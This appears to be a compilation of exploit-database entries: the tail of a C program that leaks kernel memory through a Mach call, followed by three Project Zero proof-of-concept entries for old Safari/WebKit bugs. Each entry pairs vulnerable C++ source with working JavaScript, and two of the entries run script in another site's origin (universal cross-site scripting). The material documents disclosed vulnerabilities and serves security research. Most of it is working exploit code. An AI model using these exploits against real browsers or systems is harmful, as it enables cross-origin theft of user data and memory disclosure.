outputStruct,
&outputStructCnt);
if (err == KERN_SUCCESS) {
break;
}
printf("retrying 0x2000 up - %s\n", mach_error_string(err));
}
uint64_t* leaked = (uint64_t*)(outputStruct+3);
for (int i = 0; i < 0x1d8/8; i++) {
printf("%016llx\n", leaked[i]);
}
return 0;
}
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1056
void Frame::setDocument(RefPtr<Document>&& newDocument)
{
ASSERT(!newDocument || newDocument->frame() == this);
if (m_doc && m_doc->pageCacheState() != Document::InPageCache)
m_doc->prepareForDestruction();
m_doc = newDocument.copyRef();
...
}
The function |prepareForDestruction| only called when the cache state is not |Document::InPageCache|. So the frame will be never detached from the cached document.
PoC:
-->
"use strict";
document.write("click anywhere to start");
window.onclick = () => {
let w = open("about:blank", "one");
let d = w.document;
let a = d.createElement("a");
a.href = "https://abc.xyz/";
a.click(); <<------- about:blank -> Document::InPageCache
let it = setInterval(() => {
try {
w.location.href.toString;
} catch (e) {
clearInterval(it);
let s = d.createElement("a"); <<------ about:blank's document
s.href = "javascript:alert(location)";
s.click();
}
}, 0);
};
<!--
Tested on Safari 10.0.2(12602.3.12.0.1).
-->
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1068
Here is the definition of |JSCallbackData| class. This class is used to call a javascript function from a DOM object.
class JSCallbackDataStrong : public JSCallbackData {
public:
JSCallbackDataStrong(JSC::JSObject* callback, void*)
: m_callback(callback->globalObject()->vm(), callback)
{
}
JSC::JSObject* callback() { return m_callback.get(); }
JSDOMGlobalObject* globalObject() { return JSC::jsCast<JSDOMGlobalObject*>(m_callback->globalObject()); }
JSC::JSValue invokeCallback(JSC::MarkedArgumentBuffer& args, CallbackType callbackType, JSC::PropertyName functionName, NakedPtr<JSC::Exception>& returnedException)
{
return JSCallbackData::invokeCallback(callback(), args, callbackType, functionName, returnedException);
}
private:
JSC::Strong<JSC::JSObject> m_callback;
};
JSValue JSCallbackData::invokeCallback(JSObject* callback, MarkedArgumentBuffer& args, CallbackType method, PropertyName functionName, NakedPtr<JSC::Exception>& returnedException)
{
ASSERT(callback);
auto* globalObject = JSC::jsCast<JSDOMGlobalObject*>(callback->globalObject()); <<<---------- (1)
ASSERT(globalObject);
ExecState* exec = globalObject->globalExec();
JSValue function;
CallData callData;
CallType callType = CallType::None;
if (method != CallbackType::Object) {
function = callback;
callType = callback->methodTable()->getCallData(callback, callData);
}
if (callType == CallType::None) {
if (method == CallbackType::Function) {
returnedException = JSC::Exception::create(exec->vm(), createTypeError(exec)); <<<---------- (2)
return JSValue();
}
...
}
...
}
But |JSCallbackData::invokeCallback| method obtains the |ExecState| object from the callback object. So if we invoke |JSCallbackData::invokeCallback| method with the different origin's window as |callback|, an exception object will be created from the different domain's javascript context.
PoC:
-->
"use strict";
let f = document.body.appendChild(document.createElement("iframe"));
f.onload = () => {
f.onload = null;
try {
let iterator = document.createNodeIterator(document, NodeFilter.SHOW_ALL, f.contentWindow);
iterator.nextNode();
} catch (e) {
e.constructor.constructor("alert(location)")();
}
};
f.src = "https://abc.xyz/";
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1085
EncodedJSValue JSC_HOST_CALL constructJSReadableStreamDefaultReader(ExecState& exec)
{
VM& vm = exec.vm();
auto scope = DECLARE_THROW_SCOPE(vm);
JSReadableStream* stream = jsDynamicDowncast<JSReadableStream*>(exec.argument(0));
if (!stream)
return throwArgumentTypeError(exec, scope, 0, "stream", "ReadableStreamReader", nullptr, "ReadableStream");
JSValue jsFunction = stream->get(&exec, Identifier::fromString(&exec, "getReader")); <<--- 1
CallData callData;
CallType callType = getCallData(jsFunction, callData);
MarkedArgumentBuffer noArguments;
return JSValue::encode(call(&exec, jsFunction, callType, callData, stream, noArguments));
}
It doesn't check whether |getReader| is callable or not.
PoC:
-->
let rs = new ReadableStream();
let cons = rs.getReader().constructor;
rs.getReader = 0x12345;
new cons(rs);
<!--
Tested on Webkit Nightly 10.0.2(12602.3.12.0.1, r210800)
-->